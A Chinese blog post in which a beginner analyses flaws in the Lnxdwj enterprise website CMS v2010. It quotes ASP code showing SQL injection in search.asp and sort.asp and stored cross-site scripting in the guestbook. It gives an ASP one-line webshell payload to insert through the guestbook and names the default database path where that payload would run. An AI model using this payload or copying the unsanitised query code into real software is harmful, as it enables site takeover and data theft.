欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

浅析Lnxdwj企业全站v2010漏洞

程序员文章站 2022-04-07 09:55:54
作者:求知者学脚本有一段时间,哎,没有人教!只能靠自己理解。所以进度有点慢。 在很多黑友的博客中及杂志上都有分析脚本程序的文章,而自己代码有点看得懂了,于是心痒了, 马上跑到百度搜索网站源...

作者:求知者
学脚本有一段时间,哎,没有人教!只能靠自己理解。所以进度有点慢。

在很多黑友的博客中及杂志上都有分析脚本程序的文章,而自己代码有点看得懂了,于是心痒了,

马上跑到百度搜索网站源码在cnzz.cn下了个Lnxdwj企业全站 v2010 慢慢看了起来!

由于没有经验,因此就看先黑箱测试!在本地打开如图1红红火火的看这挺舒服的

 浅析Lnxdwj企业全站v2010漏洞




废话不多说了此程序出现多处漏洞
1.search.asp 搜索注入漏洞
2.saveadd.asp留言本跨站漏洞能插入一句话木马

3.sort.asp 注入漏洞

4..应该还有很多我没发现呵呵

------------------------------------------------------------------------------------

下面是search.asp文件中出现注入的代码

----------------

word=trim(request("word"))           //只过滤了两边的空格就放到数据库中查询了
sql="select * from news where"                      // 同时也存在跨站
sql=sql&" title&content like %"&word&"% order by id desc"

------------------------------------------------------------------------------------------------   

下面是留言版中saveadd.asp文件中的部分代码

--------------------

set rs=server.createobject("adodb.recordset")
sql="select * from book"
rs.open sql,conn,1,3
rs.addnew
if request("bookname")="" then                                                          //只过滤了名字不能为空
response.write "<script language=javascript>" & chr(13)
   response.write "alert(用户名不可以为空!);" & Chr(13)
   response.write "javascript:onclick=history.go(-1)"&Chr(13)
   response.write "</script>" & Chr(13)
response.end
end if
if request("bookphone")="" then                                                     //只过滤了名字不能为空
response.write "<script language=javascript>" & chr(13)
   response.write "alert(电话号码不可以为空!);" & Chr(13)
   response.write "javascript:onclick=history.go(-1)"&Chr(13)
   response.write "</script>" & Chr(13)
response.end
end if
if request("bookemail")="" then                                       //只过滤了名字不能为空
response.write "<script language=javascript>" & chr(13)
   response.write "alert(Email地址不可以为空!);" & Chr(13)
   response.write "javascript:onclick=history.go(-1)"&Chr(13)
   response.write "</script>" & Chr(13)
response.end
end if
if request("bookmesage")="" then                                //只过滤了留言不能为空
response.write "<script language=javascript>" & chr(13)
   response.write "alert(留言内容不可以为空!);" & Chr(13)
   response.write "javascript:onclick=history.go(-1)"&Chr(13)
   response.write "</script>" & Chr(13)
response.end
end if
bookname=request.form("bookname")
rs("bookname")=bookname
bookphone=request.form("bookphone")
if not isnumeric(bookphone) then                                        //检查bookphone是否为数字
response.write "<script language=javascript>" & chr(13)
   response.write "alert(电话号码必须是数字!);" & Chr(13)
   response.write "javascript:onclick=history.go(-1)"&Chr(13)
   response.write "</script>" & Chr(13)
response.end
end if
rs("bookphone")=bookphone
bookemail=request.form("bookemail")
if Instr(bookemail,"@")=0 or Instr(bookemail,".")=0 then
response.write "<script language=javascript>" & chr(13)
   response.write "alert(Email地址不正确!);" & Chr(13)
   response.write "javascript:onclick=history.go(-1)"&Chr(13)
   response.write "</script>" & Chr(13)
response.end
end if
rs("bookemail")=bookemail
bookmesage=request.form("bookmesage")
if len(bookmesage)>255 then                                  //留言内容**为255
response.write "<script language=javascript>" & chr(13)
   response.write "alert(留言内容太长了!请长话短说);" & Chr(13)
   response.write "javascript:onclick=history.go(-1)"&Chr(13)
   response.write "</script>" & Chr(13)
response.end
end if
bookmesage=replace(bookmesage,vbcrlf,"<br>")
rs("bookmesage")=bookmesage
rs.update
response.write "<script language=javascript>" & chr(13)
   response.write "alert(添加留言成功!);" & Chr(13)
   response.write "window.document.location.href=book.asp;"&Chr(13)
   response.write "</script>" & Chr(13)

在姓名处或内容处输入<%execute request("value")%>就在数据库中插入了一句话木马了

而他的默认数据库路径是data/#lnxdwj.asp

如图2
  浅析Lnxdwj企业全站v2010漏洞

-------------------------------------------------------------------------------------------------

下面是sort.asp 文件的部分代码

------------

dy=request("bigclassid")   //获取bigclassid的值给dy
if dy<>"" then                      //只判断dy不等于空就放入数据库查询了
Set rs=Server.CreateObject("ADODB.RecordSet")
sqlid="select * from bigclass where bigclassid="&dy
rs.Open sqlid,conn,1,3
bt=rs("bigclassname")
end if

----------------------------------------

第一次写这样的文章有什么写的不好之处请见谅

要是有分析错的地方恳请指正因为我还是菜鸟